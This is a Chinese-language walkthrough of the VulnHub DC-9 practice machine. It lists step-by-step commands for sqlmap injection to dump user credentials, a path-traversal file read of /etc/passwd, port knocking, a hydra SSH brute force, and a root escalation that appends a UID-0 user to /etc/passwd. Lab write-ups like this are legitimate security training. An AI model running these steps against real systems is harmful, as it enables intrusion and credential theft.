一、准备工作
kali和靶机都选择NAT模式（kali与靶机同网段）
1.靶场环境
下载链接:https://download.vulnhub.com/dc/DC-9.zip
2.kali的ip
命令:ifconfig
3.靶机的ip
扫描靶机ip
sudo arp-scan -l
二、信息收集
1.nmap的信息收集
（1）扫描靶机开放的端口及其服务
nmap -A -p- 192.168.101.122
2.网站的信息收集
（1）靶机开放了80端口,先访问靶机网站看看有什么有用的信息
（2）使用sqlmap命令
它存在一个表单，在这里就很有可能存在着注入漏洞，所以我们先尝试着用sqlmap跑一下：
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" --dbs#获取当前数据库
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D users --tables# 获取表名
sqlmap -u"http://192.168.101.122/results.php" --data "search=1" -D users -T UserDetails --columns
#获取字段名
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D users -T UserDetails -C username,password --dump #获取账号密码
查询数据库名
查询users数据库下面的表名
获取userDetails字段名获取员工的账号密码
这里是那些员工这账号和密码，后面可能会用到，先放着，然后再回过来爆另一个Staff数据库看看会有什么东西：
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D Staff --tables
sqlmap -u "http://192.168.101.122/results.php" --data "search=1" -D Staff -T Users --dump
尝试用得到的用户密码登录
注意：File does not exist 这句话它说文件不存在
三、枚举
1.看看本地文件是否存在文件包含漏洞
访问：http://192.168.101.122/manage.php?file=../../../../../../../../etc/passwd
2.查看ssh配置文件knockd.conf
访问：http://192.168.101.122/manage.php?file=../../../../../../../../etc/knockd.conf
发现ssh 自定义的端口号
四、ssh连接
1.知道端口号后，然后进行敲门，
for x in 7469 8475 9842; do nc 192.168.101.122 $x;done
nmap -sV -A 192.168.101.122 -p 22
2.使用nmap命令查看靶机ssh访服务是否能够正常运行
nmap -p22 192.168.101.122
3.ssh开启了，但需要账号密码，把之前爆破的员工账号密码分别写入两个字典
kali@kali:~$ vi password.txt
kali@kali:~$ cat password.txt
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
kali@kali:~$ vi username.txt
kali@kali:~$ cat username.txt
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
4.hydra字典爆破
（1）通过ssh爆破
hydra -L username.txt -P password.txt 192.168.101.122 ssh
（2）得到了两个用户密码，其中有个是管理员，先用janitor用户登录
ssh janitor@192.168.101.122
（3）在.secrets-for-putin，发现密码字典，将收集到的密码放入刚才的password文件里面
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt
（4）在kali再一次使用hydra爆破
hydra -L username.txt -P password.txt 192.168.101.122 ssh
（5）用fredf用户进行ssh登录
ssh fredf@192.168.101.122
五、提权
1.查看当前用户可以执行的操作
sudo -l
2.查看/opt/devstuff目录下的test.py
如上图可知进入 /opt/devstuff/dist/test/test不需要密码，进入该目录下查看
cd /opt/devstuff
cat test.py
test.py是一个python脚本。它既然拥有root权限，那现在我们要做的就是构造一个拥有root权限的用户，并且在/etc/passwd文件中储存，只要使用这个用户登录后，就可以获取到root权限。
3.在kali使用openssl工具先创建一个本地的加密用户
openssl passwd -1 -salt admin 111111
4.提权
在靶机/opt/devstuff/dist/test目录下面创建一个叫swn的文件（随便命名） 再使用sudo用那个test程序来运行这个文件，随后切换成我们添加的这个用户，输入自己设定的密码就可以成功提权到root用户了，最后进入root目录下查看flag即可。
echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/swn
sudo ./test /tmp/swn /etc/passwd
su admin
cd /root
cat theflag.txt
